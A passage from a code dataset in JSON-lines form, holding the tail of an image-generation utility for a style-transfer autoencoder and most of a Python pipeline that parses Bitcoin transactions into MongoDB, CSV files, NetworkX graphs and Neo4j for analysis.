1.0e-15, ord=2, axis=1))\n return loss\n\n\n\ndef generate_images(predict_data, model, epoch, file_writer, num_gen, class_list, opt):\n num_character = len(class_list)\n if num_gen>num_character:\n num_gen = num_character\n\n for img ,label in predict_data:\n style, _ = model.encoder.predict(img)\n style = np.array(style, dtype=np.float32)\n styles = np.tile(style, (num_gen, 1))\n s_split = np.array_split(styles, int(num_gen/opt.batch_size)+1, 0)\n\n sample_label = np.arange(num_gen)\n l_split = np.array_split(sample_label, int(num_gen/opt.batch_size)+1)\n l = int(label.numpy())\n\n outputs = []\n for split in range(int(num_gen/opt.batch_size)+1):\n if split ==0:\n out_img = model.decoder([s_split[split], l_split[split]],training=False)\n outputs = np.array(out_img, dtype=np.float32)\n else:\n out_img = model.decoder([s_split[split], l_split[split]],training=False)\n outputs = np.concatenate([outputs, np.array(out_img, dtype=np.float32)], 0)\n outputs = np.array(outputs, dtype=np.float32)\n\n i = np.array(img, dtype=np.float32)\n i = i.reshape([opt.img_size, opt.img_size, opt.channels])\n i = np.concatenate([i, np.ones((opt.img_size, opt.img_size*9, opt.channels)) ], 1)\n\n if num_gen%10 == 0:\n column = int(num_gen/10) \n row = 10\n add_canvas = 0\n else:\n column = 1 + int(num_gen/10) \n row = 10\n add_canvas = 10 - num_gen%10\n\n canvas = np.ones((add_canvas,opt.img_size, opt.img_size, opt.channels)) \n outputs = np.concatenate([outputs, canvas], 0)\n\n if column==1:\n imgs =outputs[0]\n for n in range(9):\n imgs = np.concatenate([imgs, outputs[n+1]], 1)\n\n else:\n for n in range(column):\n img_column = outputs[10*n]\n for m in range(9):\n img_column = np.concatenate([img_column, outputs[10*n+m+1]], 1)\n\n if n ==0:\n imgs = img_column\n else:\n imgs = np.concatenate([imgs, img_column], 0)\n\n imgs = np.concatenate([i, imgs], 0)\n\n if epoch % 10 == 0:\n save_path = os.path.join(opt.result, \"images\", \"ep_{}_{}.png\".format(epoch, class_list[l]))\n cv2.imwrite(save_path, imgs*255)\n\n with file_writer.as_default():\n tf.summary.image(\"%s\"%(class_list[l]), tf.expand_dims(imgs, 0), step=epoch)","repo_name":"kitagawatomoki/yae_with_adain","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35370190227","text":"import os\nimport subprocess\nimport traceback\nfrom filter import Filter\nfrom nx_classes import Address,Transaction\nimport networkx as nx\nimport networkx.drawing.nx_pydot as nx_draw\nfrom queue import Queue\nfrom blockchain_parser.blockchain import Blockchain\nfrom neo4j import GraphDatabase,Session\nfrom graphviz import Digraph\nimport json\nfrom datetime import datetime\nimport pandas as pd\nimport time\nimport pickle\nimport csv\nimport plyvel\nfrom multiprocessing import Process\nimport sys\nimport pymongo\nimport redis\n\naddress = \"1EYSiRC2nUi2xLMTuwkWhHtpTTVVZ6KNrz\"\n\ndef save_var(var,path =''):\n with open(path,'wb') as f:\n pickle.dump(var,f)\n\nclass TransactionDumpFilter(Filter):\n\tdef process(self):\n\t\tcount = 0\n\t\tblockchain = Blockchain(os.path.expanduser('~/.bitcoin/blocks'))\n\t\tfor block in blockchain.get_unordered_blocks():\n\t\t\ttimestamp = block.header.timestamp\n\t\t\tif(timestamp.year == 2017):\n\t\t\t\tfor tx in block.transactions:\n\t\t\t\t\tself.output_queue.put((tx,block.header.timestamp))\n\n\t\tself.output_queue.put(None) #ending condition\n\nclass TransactionOrderedDumpFilter(Filter):\n\n\tdef __init__(self,input_queue,output_queue,start_block,end_block):\n\t\tsuper().__init__(input_queue,output_queue)\n\t\tself.start_block = start_block\n\t\tself.end_block = end_block\n\t\n\tdef process(self):\n\t\tcount = 0\n\t\tblockchain = Blockchain(os.path.expanduser('~/.bitcoin/blocks'))\n\t\tfor block in blockchain.get_ordered_blocks(os.path.expanduser('/home/teh_devs/Downloads/bitcoin_analysis_sa/index'),start=self.start_block,end=self.end_block):\n\t\t\tfor tx in block.transactions:\n\t\t\t\tself.output_queue.put((tx,block.header.timestamp))\n\t\t\t\n\t\tself.output_queue.put(None) #ending condition\n\nclass ApiTransactionDumpFilter(Filter):\n\tdef process(self):\n\t\tfor i in range(0,52):\n\t\t\tfile = open(\"bct/transactionGA/transac\"+str(i)+\".json\",\"r\")\n\t\t\ttxs = json.loads(file.read())[\"txs\"]\n\n\t\t\tcount = 0\n\t\t\tfor tx in txs:\n\t\t\t\tcount += 1\n\t\t\t\ttransaction = dict()\n\t\t\t\tip = list()\n\t\t\t\top = list()\n\n\t\t\t\tinputs = tx[\"inputs\"]\n\t\t\t\tfor inp in inputs:\n\t\t\t\t\tip.append((inp[\"prev_out\"][\"addr\"],inp[\"prev_out\"][\"value\"]))\n\n\t\t\t\tfor output in tx[\"out\"]:\n\t\t\t\t\top.append((output[\"addr\"],output[\"value\"]))\n\n\t\t\t\ttransaction[\"inputs\"] = ip\n\t\t\t\ttransaction[\"outputs\"] = op\n\t\t\t\ttransaction[\"hash\"] = tx[\"hash\"]\n\t\t\t\ttransaction[\"timestamp\"] = tx[\"time\"]\n\t\t\t\tself.output_queue.put(transaction)\n\n\n\t\tfile.close()\n\t\tself.output_queue.put(None)\n\t\t\nclass ApiTransactionTimeDumpFilter(Filter):\n\tdef process(self):\n\t\ttimestamp = float('inf')\n\t\tfor i in range(1,99):\n\t\t\tfile = open(\"bct/wa/transacs\"+str(i)+\".json\",\"r\")\n\t\t\ttxs = json.loads(file.read())[\"txs\"]\n\t\t\tcount = 0\n\t\t\tfor tx in txs:\n\t\t\t\tcount += 1\n\t\t\t\ttransaction = dict()\n\t\t\t\tif (tx['time'] < timestamp):\n\t\t\t\t\ttimestamp = tx['time']\n\t\tfile.close()\n\t\tprint(timestamp)\n\n\n\nclass TransactionReadFilter(Filter):\n\tdef process(self):\n\t\tutxo = dict()\n\t\twhile(True):\n\n\t\t\tnext_element = self.input_queue.get(block=True)\n\t\t\t\n\t\t\ttransaction = dict()\n\t\t\tip = list()\n\t\t\top = list()\n\n\t\t\tif(next_element is None):\n\t\t\t\tself.output_queue.put(None)\n\t\t\t\treturn\n\t\t\t\n\t\t\ttimestamp = next_element[1]\n\t\t\tnext_element = next_element[0]\n\t\t\t\n\t\t\ttx_hash = next_element.hash\n\t\t\tutxo[tx_hash] = dict()\n\n\t\t\tif(next_element.is_coinbase()):\n\t\t\t\toutput = next_element.outputs\n\t\t\t\tfor index,output in enumerate(next_element.outputs):\n\t\t\t\t\ttry:\n\t\t\t\t\t\tutxo[tx_hash][index] = (output.addresses[0].address,output.value)\n\t\t\t\t\t\top.append((output.addresses[0].address,output.value))\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpass\n\t\t\telse:\n\t\t\t\tfor index,output in enumerate(next_element.outputs):\n\t\t\t\t\ttry:\n\t\t\t\t\t\tutxo[tx_hash][index] = (output.addresses[0].address,output.value)\n\t\t\t\t\t\top.append((output.addresses[0].address,output.value))\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpass\n\n\t\t\t\tfor inp in next_element.inputs:\n\t\t\t\t\ttry:\n\t\t\t\t\t\tip.append(utxo[inp.transaction_hash][inp.transaction_index])\n\t\t\t\t\t\tdel utxo[inp.transaction_hash][inp.transaction_index]\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpass\n\n\t\t\ttransaction[\"inputs\"] = ip\n\t\t\ttransaction[\"outputs\"] = op\n\t\t\ttransaction[\"hash\"] = tx_hash\n\t\t\ttransaction[\"timestamp\"] = timestamp\n\t\t\tself.output_queue.put(transaction)\n\n\n'''{\n\t\"inputs\":[(address,amount),(address,amount)],\n\t\"outputs\":[(address,amount),(address,amount)],\n\t\"hash\":txhash\n}'''\n\nclass TransactionReadMongoFilter(Filter):\n\tdef process(self):\n\t\tclient = pymongo.MongoClient(\"mongodb://localhost:27017\")\n\t\tutxo = client[\"bitcoin_analysis\"][\"utxo\"]\n\t\twhile(True):\n\n\t\t\tnext_element = self.input_queue.get(block=True)\n\n\t\t\tif(next_element is None):\n\t\t\t\tself.output_queue.put(None)\n\t\t\t\treturn\n\t\t\t\n\t\t\ttimestamp = next_element[1]\n\t\t\tnext_element = next_element[0]\n\t\t\t\n\t\t\ttransaction = dict()\n\t\t\t\n\t\t\tip = list()\n\t\t\top = list()\n\t\t\t\n\t\t\ttx_hash = next_element.hash\n\n\t\t\tif(next_element.is_coinbase()):\n\t\t\t\toutput = next_element.outputs\n\t\t\t\toutput_sum = 0\n\t\t\t\tfor index,output in enumerate(next_element.outputs):\n\t\t\t\t\ttry:\n\t\t\t\t\t\top.append((output.addresses[0].address,output.value))\n\t\t\t\t\t\toutput_sum += output.value\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpass\n\t\t\t\tip.append((\"COINBASE\",output_sum))\n\t\t\telse:\n\t\t\t\tfor index,output in enumerate(next_element.outputs):\n\t\t\t\t\ttry:\n\t\t\t\t\t\top.append((output.addresses[0].address,output.value))\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpass\n\n\t\t\t\tfor inp in next_element.inputs:\n\t\t\t\t\ttry:\n #main thing\n\t\t\t\t\t\tutxo_doc = utxo.find({\"tx_hash\":inp.transaction_hash,\"index\":inp.transaction_index})[0]\n\t\t\t\t\t\tip.append((utxo_doc[\"address\"],utxo_doc[\"amount\"]))\n\t\t\t\t\t\t#flag in MongoDB\n\t\t\t\t\t\t\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpass\n\n\t\t\ttransaction[\"inputs\"] = ip\n\t\t\ttransaction[\"outputs\"] = op\n\t\t\ttransaction[\"hash\"] = tx_hash\n\t\t\ttransaction[\"timestamp\"] = timestamp\n\t\t\tself.output_queue.put(transaction)\n\n\nclass WriteUtxoFilter(Filter):\n\tdef process(self):\n\t\tclient = pymongo.MongoClient(\"mongodb://localhost:27017\")\n\t\tutxo = client[\"bitcoin_analysis\"][\"utxo\"]\n\t\t\n\t\tcount = 0\n\t\t\n\t\twhile(True):\n\n\t\t\tnext_element = self.input_queue.get(block=True)\n\n\t\t\tif(next_element is None):\n\t\t\t\treturn\n\t\t\t\n\t\t\ttimestamp = next_element[1]\n\t\t\tnext_element = next_element[0]\n\t\t\t\n\t\t\ttx_hash = next_element.hash\n\n\t\t\toutput = next_element.outputs\n\t\t\tfor index,output in enumerate(next_element.outputs):\n\t\t\t\tcount += 1\n\t\t\t\ttry:\n\t\t\t\t\tdoc = {\"tx_hash\":tx_hash,\"index\":index,\"address\":output.addresses[0].address,\"amount\":output.value}\n\t\t\t\t\tutxo.insert(doc)\n\t\t\t\t\t\n\t\t\t\t\tif(count == 10000):\n\t\t\t\t\t\t#print(datetime.fromtimestamp(timestamp).strftime(\"%Y-%m-%d\"))\n\t\t\t\t\t\tcount = 0\n\t\t\t\texcept:\n\t\t\t\t\tpass\n\t\t\t\n\nclass ReadTransactionToCsvFilter(Filter):\n\tdef __init__(self,input_queue,output_queue,file_name):\n\t\tsuper().__init__(input_queue,output_queue)\n\t\t\n\t\tself.file_name = file_name\n\t\n\tdef process(self):\n# \t\tutxo = dict()\n\t\taddresses = list()\n\t\ttx = list()\n\t\tip_list = list()\n\t\top_list = list()\n\t\tcount = 0\n\t\twith open(self.file_name, 'a') as csvFile:\n\t\t\twriter = csv.writer(csvFile)\n\t\t\twhile(True):\n\t\t\t\tif (count%50000 == 0):\n\t\t\t\t\t#print (count/1000)\n\n\t\t\t\t\twriter.writerows(tx)\n\t\t\t\t\ttx = []\n\t\t\t\t\n\t\t\t\tnext_element = self.input_queue.get()\n\n\t\t\t\tif(next_element is None):\n\t\t\t\t\tself.output_queue.put(None)\n\t\t\t\t\twriter = csv.writer(csvFile)\n\t\t\t\t\twriter.writerows(tx)\n\t\t\t\t\tcsvFile.close()\n\n\t\t\t\t\treturn\n\t\t\t\tcount +=1\n\t\t\t\ttimestamp = int(datetime.timestamp(next_element[1]))\n\t\t\t\tnext_element = next_element[0]\n\t\t\t\ttx_hash = next_element.hash\n\t\t\t\trecord = [tx_hash,timestamp]\n\t\t\t\ttx.append(record)\n\n\n'''{\n\t\"inputs\":[(address,amount),(address,amount)],\n\t\"outputs\":[(address,amount),(address,amount)],\n\t\"hash\":txhash\n}'''\n\nclass ReadAddressToCsvFilter(Filter):\n\tdef __init__(self,input_queue,output_queue,file_name):\n\t\tsuper().__init__(input_queue,output_queue)\n\t\t\n\t\tself.file_name = file_name\n\t\n\tdef process(self):\n# \t\tutxo = dict()\n\t\taddresses = list()\n\t\ttx = list()\n\t\tip_list = list()\n\t\top_list = list()\n\t\tcount = 0\n\t\twith open(self.file_name, 'a') as csvFile:\n\t\t\twriter = csv.writer(csvFile)\n\t\t\twhile(True):\t\t\t\t\t\n\t\t\t\tif (count%5000 == 0):\n\t\t\t\t\t#print (count/1000)\n\t\t\t\t\twriter.writerows(addresses)\n\t\t\t\t\taddresses = []\n\t\t\t\tnext_element = self.input_queue.get()\n\n\t\t\t\tif(next_element is None):\n\t\t\t\t\tself.output_queue.put(None)\n\t\t\t\t\twriter = csv.writer(csvFile)\n\t\t\t\t\twriter.writerows(addresses)\n\t\t\t\t\tcsvFile.close()\n\t\t\t\t\treturn\n\t\t\t\t\n\t\t\t\tnext_element = next_element[0]\n\t\t\t\toutput = next_element.outputs\n\t\t\t\tfor index,output in enumerate(next_element.outputs):\n\t\t\t\t\ttry:\n\t\t\t\t\t\tcount +=1\n\t\t\t\t\t\taddresses.append([output.addresses[0].address])\n\t\t\t\t\t\tif (count % 100000 == 0):\n\t\t\t\t\t\t\t#print (count/1000)\n\t\t\t\t\t\t\twriter.writerows(addresses)\n\t\t\t\t\t\t\taddresses = []\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpass\n\t\t\n\t\t\t\t\t\t\n\t\t\t\t\t\t\nclass ReadOutputToCsvFilter(Filter):\n\t\n\tdef __init__(self,input_queue,output_queue,file_name):\n\t\tsuper().__init__(input_queue,output_queue)\n\t\t\n\t\tself.file_name = file_name\n\t\n\tdef process(self):\n\t\top_list = list()\n\t\tcount = 0\n\t\twith open(self.file_name, 'a') as csvFile:\n\t\t\twriter = csv.writer(csvFile)\n\t\t\twhile(True):\n\t\t\t\tnext_element = self.input_queue.get()\n\n\t\t\t\tif(next_element is None):\n\t\t\t\t\t#self.output_queue.put(None)\n\t\t\t\t\twriter.writerows(op_list)\n\t\t\t\t\tcsvFile.close()\n\t\t\t\t\treturn\n\n\t\t\t\ttx_hash = next_element[\"hash\"]\n\t\t\t\t\n\t\t\t\tfor index,output in enumerate(next_element[\"outputs\"]):\n\t\t\t\t\ttry:\n\t\t\t\t\t\taddress = output[0]\n\t\t\t\t\t\tamount = output[1]\n\t\t\t\t\t\top_list.append([tx_hash,address,amount])\n\t\t\t\t\t\tcount += 1\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (count % 10000 == 0):\n\t\t\t\t\t\t\t#print (count/1000)\n\t\t\t\t\t\t\twriter.writerows(op_list)\n\t\t\t\t\t\t\top_list = []\n\t\t\t\t\t\t\n\t\t\t\t\texcept:\n\t\t\t\t\t\tpass\n\n\nclass ReadInputToCsvFilter(Filter):\n\t\n\tdef __init__(self,input_queue,output_queue,file_name):\n\t\tsuper().__init__(input_queue,output_queue)\n\t\tself.file_name = file_name\n\t\n\tdef process(self):\n\t\tredis_client = redis.Redis(host=\"localhost\",port=6379)\n\t\tclient = pymongo.MongoClient(\"mongodb://localhost:27017\")\n\t\tutxo = client[\"bitcoin_analysis\"][\"utxo\"]\n\t\t\n\t\tip_list = list()\n\t\tcount = 0\n\t\twith open(self.file_name, 'a') as csvFile:\n\t\t\twriter = csv.writer(csvFile)\n\t\t\twhile(True):\n\t\t\t\tnext_element = self.input_queue.get()\n\n\t\t\t\tif(next_element is None):\n\t\t\t\t\t#self.output_queue.put(None)\n\t\t\t\t\twriter.writerows(ip_list)\n\t\t\t\t\tcsvFile.close()\n\t\t\t\t\treturn\n\n\t\t\t\ttx_hash = next_element[\"hash\"]\n\t\t\t\t\n\t\t\t\tfor index,inp in enumerate(next_element[\"inputs\"]):\n\t\t\t\t\ttry:\n\t\t\t\t\t\taddress = inp[0]\n\t\t\t\t\t\tamount = inp[1]\n\t\t\t\t\t\tip_list.append([address,tx_hash,amount])\n\t\t\t\t\t\t#update MongoDB\n\t\t\t\t\t\tquery = {\"tx_hash\":tx_hash,\"index\":index}\n\t\t\t\t\t\tspent = {\"$set\":{\"spent\":True}}\n\t\t\t\t\t\tutxo.update(query,spent)\n\t\t\t\t\t\tcount += 1\n\t\t\t\t\t\t\n\t\t\t\t\t\tif (count % 10000 == 0):\n\t\t\t\t\t\t\tprint (count/1000)\n\t\t\t\t\t\t\twriter.writerows(ip_list)\n\t\t\t\t\t\t\tip_list = []\n\t\t\t\t\t\t\n\t\t\t\t\texcept:\n\t\t\t\t\t\ttraceback.print_exc()\n\n\t\t\t\t\t\nclass NetworkXTransactionReadFilter(Filter):\n\tdef process(self):\n\t\tG = nx.readwrite.gpickle.read_gpickle(\"graph.pickle\")\n\t\tfor node in G.nodes():\n\t\t\tif(isinstance(node,Transaction)):\n\t\t\t\ttransaction = dict()\n\t\t\t\tip = list()\n\t\t\t\top = list()\n\t\t\t\t\n\t\t\t\tfor (u,_,ddict) in G.in_edges(node,data=True):\n\t\t\t\t\tip.append((u,ddict[\"amount\"]))\n\t\t\t\t\t\n\t\t\t\tfor(_,v,ddict) in G.out_edges(node,data=True):\n\t\t\t\t\top.append((v,ddict[\"amount\"]))\n\t\t\t\t\t\n\t\t\t\ttransaction[\"inputs\"] = ip\n\t\t\t\ttransaction[\"outputs\"] = op\n\t\t\t\ttransaction[\"hash\"] = node.tx_hash\n\t\t\t\ttransaction[\"timestamp\"] = node.timestamp\n\t\t\t\t\n\t\t\t\tself.output_queue.put(transaction)\n\t\t\t\t\n\t\tself.output_queue.put(None)\n\t\t\nclass EdgeCombineFilter(Filter):\n\tdef process(self):\n\t\twhile(True):\n\t\t\tnext_element = self.input_queue.get()\n\t\t\tif(next_element is None):\n\t\t\t\tself.output_queue.put(None)\n\t\t\t\treturn\n\t\t\t\n\t\t\tinputs = next_element[\"inputs\"]\n\t\t\t\n\t\t\tcontributions = dict()\n\t\t\tfor inp in inputs:\n\t\t\t\ttry:\n\t\t\t\t\tcontributions[inp[0]] += inp[1]\n\t\t\t\texcept:\n\t\t\t\t\tcontributions[inp[0]] = inp[1]\n\n\t\t\tinputs = list()\n\t\t\tfor (key,value) in contributions.items():\n\t\t\t\tinputs.append((key,value))\n\t\t\t\t\n\t\t\toutputs = next_element[\"outputs\"]\n\t\t\t\n\t\t\tcontributions = dict()\n\t\t\tfor out in outputs:\n\t\t\t\ttry:\n\t\t\t\t\tcontributions[out[0]] += out[1]\n\t\t\t\texcept:\n\t\t\t\t\tcontributions[out[0]] = out[1]\n\n\t\t\toutputs = list()\n\t\t\tfor (key,value) in contributions.items():\n\t\t\t\toutputs.append((key,value))\n\n\t\t\tnext_element[\"inputs\"] = inputs\n\t\t\tnext_element[\"outputs\"] = outputs\n\t\t\t\n\t\t\tself.output_queue.put(next_element)\n\t\t\t\nclass BtcUnitConvertFilter(Filter):\n\tdef process(self):\n\t\twhile(True):\n\t\t\tnext_element = self.input_queue.get()\n\t\t\tif(next_element is None):\n\t\t\t\tself.output_queue.put(None)\n\t\t\t\treturn\n\t\t\t\n\t\t\tinputs = list()\n\t\t\tfor inp in next_element[\"inputs\"]:\n\t\t\t\tinputs.append((inp[0],inp[1] / 100000000))\n\t\t\t\n\t\t\toutputs = list()\n\t\t\tfor out in next_element[\"outputs\"]:\n\t\t\t\toutputs.append((out[0],out[1] / 100000000))\n\t\t\t\n\t\t\tnext_element[\"inputs\"] = inputs\n\t\t\tnext_element[\"outputs\"] = outputs\n\n\t\t\tself.output_queue.put(next_element)\n\t\t\t\nclass GenerateCypherFilter(Filter):\n\tdef process(self):\n\t\twhile(True):\n\n\t\t\tnext_element = self.input_queue.get()\n\t\t\tif(next_element is None):\n\t\t\t\tself.output_queue.put(None)\n\t\t\t\treturn\n\t\t\thash = next_element[\"hash\"]\n\t\t\ttimestamp = next_element[\"timestamp\"]\n\t\t\tself.output_queue.put(\"create (t:Transaction{hash:'%s',timestamp:'%s'})\" % (hash,timestamp))\n\n\t\t\tfor inp in next_element[\"inputs\"]:\n\t\t\t\tself.output_queue.put(\"merge (:Address{value:'%s'})\" % (inp[0]))\n\t\t\t\tself.output_queue.put(\"match (t:Transaction),(a:Address) where t.hash='%s' and a.value='%s' create (a)-[:input{amount:%s}]-> (t)\" % (hash,inp[0],inp[1]))\n\n\t\t\tfor output in next_element[\"outputs\"]:\n\t\t\t\tself.output_queue.put(\"merge (:Address{value:'%s'})\" % (output[0]))\n\t\t\t\tself.output_queue.put(\"match (t:Transaction),(a:Address) where t.hash='%s' and a.value='%s' create (t)-[:output{amount:%s}]-> (a)\" % (hash,output[0],output[1]))\n\n\nclass ExecuteCypherFilter(Filter):\n\tdef process(self):\n\t\tdriver = GraphDatabase.driver(\"bolt://localhost:7687\",auth=(\"neo4j\",\"bctvjti\"))\n\t\tsession = driver.session()\n\n\t\tprint(\"Migrating...\")\n\t\tk = 0\n\t\twhile(True):\n\t\t\tnext_element = self.input_queue.get()\n\t\t\tif(next_element is None):\n\t\t\t\tdriver.close()\n\t\t\t\treturn\n\t\t\tsession.run(next_element)\n\t\t\t#print(\"Statement \"+str(k),end=\"\\r\")\n\t\t\tk += 1\n\t\t\t\nclass QueryFileReadFilter(Filter):\n\tdef process(self):\n\t\tdirectory = \"query_files\"\n\t\tno_of_files = len([name for name in os.listdir(directory) if os.path.isfile(name)])\n\t\tprint(no_of_files)\n\n\nclass FileWriteFilter(Filter):\n\tdef process(self):\n\t\tstatement_count = 200000\n\t\tcount = 0\n\t\tnext_file_index = 0\n\n\t\tfile = open(\"query_files/queries\"+str(next_file_index)+\".cypher\",\"w\")\n\t\twhile(True):\n\n\t\t\tnext_element = self.input_queue.get()\n\t\t\tif(next_element is None):\n\t\t\t\treturn\n\t\t\n\t\t\tfile.write(next_element+\";\")\n\t\t\tcount += 1\n\t\t\t\n\t\t\tif(count % statement_count == 0):\n\t\t\t\tfile.close()\n\t\t\t\tprint(next_file_index,count)\n\t\t\t\tnext_file_index += 1\n\t\t\t\tfile = open(\"query_files/queries\"+str(next_file_index)+\".cypher\",\"w\")\n\nclass ConvertToNetworkXFormat(Filter):\n\tdef process(self):\n\t\tself.G = nx.MultiDiGraph()\n\t\taddresses = set()\n\t\twhile(True):\n\n\t\t\tnext_element = self.input_queue.get()\n\t\t\tif(next_element is None):\n\t\t\t\t#write graph to file\n\t\t\t\t#nx.readwrite.gpickle.write_gpickle(G,\"graph.pickle\")\n\t\t\t\treturn\n\n\t\t\tt = Transaction(next_element[\"hash\"],next_element[\"timestamp\"],None)\n\t\t\tfor inp in next_element[\"inputs\"]:\n\t\t\t\tself.G.add_edge(inp[0],t,type=\"input\",amount=inp[1])\n\n\t\t\tfor output in next_element[\"outputs\"]:\n\t\t\t\tself.G.add_edge(t,output[0],type=\"output\",amount=output[1])\t\n\n\ndef testGenerateCypher():\n\ttransaction = {\n\t\t\"hash\":\"abcd\",\n\t\t\"inputs\":[(\"abcd\",10),(\"efgh\",20)],\n\t\t\"outputs\":[(\"ijkl\",10),(\"mnop\",20)],\n\t}\n\n\tq1 = Queue()\n\tq2 = Queue()\n\n\tq1.put(transaction)\n\tq1.put(None)\n\tgenerate_cypher_filter = GenerateCypherFilter(q1,q2)\n\n\tgenerate_cypher_filter.start()\n\tgenerate_cypher_filter.join()\n\n\twhile(not q2.empty()):\n\t\tprint(q2.get())\n\n\ndef neo4j_main():\n\n\tq1 = Queue()\n\tq2 = Queue()\n\tq3 = Queue()\n\n\ttransaction_dump_filter = TransactionDumpFilter(None,q1)\n\ttransaction_read_filter = TransactionReadFilter(q1,q2)\n\tgenerate_cypher_filter = GenerateCypherFilter(q2,q3)\n\texecute_cypher_filter = ExecuteCypherFilter(q3,None)\n\n\ttransaction_dump_filter.start()\n\ttransaction_read_filter.start()\n\tgenerate_cypher_filter.start()\n\texecute_cypher_filter.start()\n\n\texecute_cypher_filter.join()\n\ndef networkx_main():\n\n\tq1 = Queue()\n\n\tapi_transaction_dump_filter = ApiTransactionDumpFilter(None,q1)\n\tconvert_to_networkx_format = ConvertToNetworkXFormat(q1,None)\n\n\tapi_transaction_dump_filter.start()\n\tconvert_to_networkx_format.start()\n\t\n\tconvert_to_networkx_format.join()\n\n\t\t\t\t\t \ndef api_dump_main():\n\tq1 = Queue()\n\tq2 = Queue()\n\t\t\t\t\t \n\tapi_transaction_dump_filter = ApiTransactionDumpFilter(None,q1)\n\tgenerate_cypher_filter = GenerateCypherFilter(q1,q2)\n\texecute_cypher_filter = ExecuteCypherFilter(q2,None)\n\n\t\n\tapi_transaction_dump_filter.start()\n\tgenerate_cypher_filter.start()\n\texecute_cypher_filter.start()\n\n\texecute_cypher_filter.join()\n\t\ndef nx_to_neo4j_main():\n\tq1 = Queue()\n\tq2 = Queue()\n\tq3 = Queue()\n\tq4 = Queue()\n\t\n\tnetworkx_transaction_read_filter = NetworkXTransactionReadFilter(None,q1)\n\tedge_combine_filter = EdgeCombineFilter(q1,q2)\n\tbtc_unit_convert_filter = BtcUnitConvertFilter(q2,q3)\n\tgenerate_cypher_filter = GenerateCypherFilter(q3,q4)\n\t\n\tnetworkx_transaction_read_filter.start()\n\tedge_combine_filter.start()\n\tbtc_unit_convert_filter.start()\n\tgenerate_cypher_filter.start()\n\t\n\tgenerate_cypher_filter.join()\n\t\n\twhile(True):\n\t\tnext_element = q4.get()\n\t\tif(next_element is None):\n\t\t\treturn\n\t\tprint(next_element+\";\")\n\t\t\ndef nx_to_nx():\n\tdf = pd.read_csv(\"analysis/export.csv\")\n\t\n\tq1 = Queue()\n\tq2 = Queue()\n\tq3 = Queue()\n\t\n\tnetworkx_transaction_read_filter = NetworkXTransactionReadFilter(None,q1)\n\tedge_combine_filter = EdgeCombineFilter(q1,q2)\n\tbtc_unit_convert_filter = BtcUnitConvertFilter(q2,q3)\n\tconvert_to_nx_format_filter = ConvertToNetworkXFormat(q3,None)\n\t\n\tnetworkx_transaction_read_filter.start()\n\tedge_combine_filter.start()\n\tbtc_unit_convert_filter.start()\n\tconvert_to_nx_format_filter.start()\n\t\n\tconvert_to_nx_format_filter.join()\n\n\tG = convert_to_nx_format_filter.G\n\t\n\t\n\tstart_timestamp = 1434240000\n\tend_timestamp = 1511740800\n\t\n\ttime_span = 604800 #one week\n\t\n\tfor time in range(start_timestamp,end_timestamp,time_span):\n\t\ttransactions = list()\n\t\tfor node in G.nodes():\n\t\t\tif(isinstance(node,Transaction)):\n\t\t\t\tif(node.timestamp >= time and node.timestamp < time + time_span):\n\t\t\t\t\ttransactions.append(node)\n\t\t\n\t\tif(len(transactions) == 0):\n\t\t\tcontinue\n\t\t\n\t\tstart_date = datetime.fromtimestamp(time).strftime(\"%Y-%m-%d\")\n\t\tend_date = datetime.fromtimestamp(time+time_span).strftime(\"%Y-%m-%d\")\n\t\timage_name = start_date+\" to \"+end_date\n\t\tsubG = Digraph(image_name,filename=\"images/\"+image_name,format=\"png\")\n\t\tsubG.attr(\"node\",shape=\"circle\",style=\"filled,solid\",fontsize=\"10\",fontcolor=\"white\",fontname=\"Arial\",margin=\"0\",penwidth=\"2\")\n\t\tsubG.attr(\"edge\",fontsize=\"10\")\n\t\tsubG.attr(\"graph\",label=image_name,labelloc=\"t\")\n\t\t\n\t\tfor tx in transactions:\n\t\t\tsubG.node(tx.tx_hash,label=tx.tx_hash[:6]+\"...\",fillcolor=\"#57C7E3\",color=\"#23B3D7\")\n\t\t\t\n\t\t\tin_edges = G.in_edges(tx,data=True)\n\t\t\tout_edges = G.out_edges(tx,data=True)\n\t\t\t\n\t\t\tfor (u,_,ddict) in in_edges:\n\t\t\t\tif(u == address):\n\t\t\t\t\tfill_color_value,color_value = \"#F16667\",\"#EB2728\"\n\t\t\t\telse:\n\t\t\t\t\tfill_color_value,color_value = \"#F79767\",\"#F36924\"\n\t\t\t\t\t\n\t\t\t\tsubG.node(u,label=u[:6]+\"...\",fillcolor=fill_color_value,color=color_value)\n\t\t\t\tsubG.edge(u,tx.tx_hash,label=str(ddict[\"amount\"]),color=\"#BA311D\")\n\t\t\t\t\n\t\t\tfor (_,v,ddict) in out_edges:\n\t\t\t\tif(v == address):\n\t\t\t\t\tfill_color_value,color_value = \"#F16667\",\"#EB2728\"\n\t\t\t\telse:\n\t\t\t\t\tfill_color_value,color_value = \"#F79767\",\"#F36924\"\n\t\t\t\t\t\n\t\t\t\tsubG.node(v,label=v[:6]+\"...\",fillcolor=fill_color_value,color=color_value)\n\t\t\t\tsubG.edge(tx.tx_hash,v,label=str(ddict[\"amount\"]),color=\"#569480\")\n\t\t\t\t\n\t\t#subgraph generated\n\t\t#create dot language format\n\t\tsubG.render()\n\t\ttime_window_tx = df[(df[\"unix_timestamp\"] >= int(time)) & (df[\"unix_timestamp\"] < int(time + time_span))]\n\t\ttime_window_tx.to_csv(\"images/\"+image_name+\".csv\",index=False)\n\t\t\t\t\t\t\t\t\t \ndef raw_ordered_to_cypher():\n\tq1 = Queue()\n\tq2 = Queue()\n\tq3 = Queue()\n\tq4 = Queue()\n\tq5 = Queue()\n\t\t\t\t\t\t\t\t\t \n\ttransaction_ordered_dump_filter = TransactionOrderedDumpFilter(None,q1)\n\t\n\ttransaction_read_filter = TransactionReadFilter(q1,q2)\n\tedge_combine_filter = EdgeCombineFilter(q2,q3)\n\tbtc_unit_convert_filter = BtcUnitConvertFilter(q3,q4)\n\tsave_var(q4,'BTC_converted.pk')\n\tgenerate_cypher_filter = GenerateCypherFilter(q4,q5)\n\tfile_write_filter = 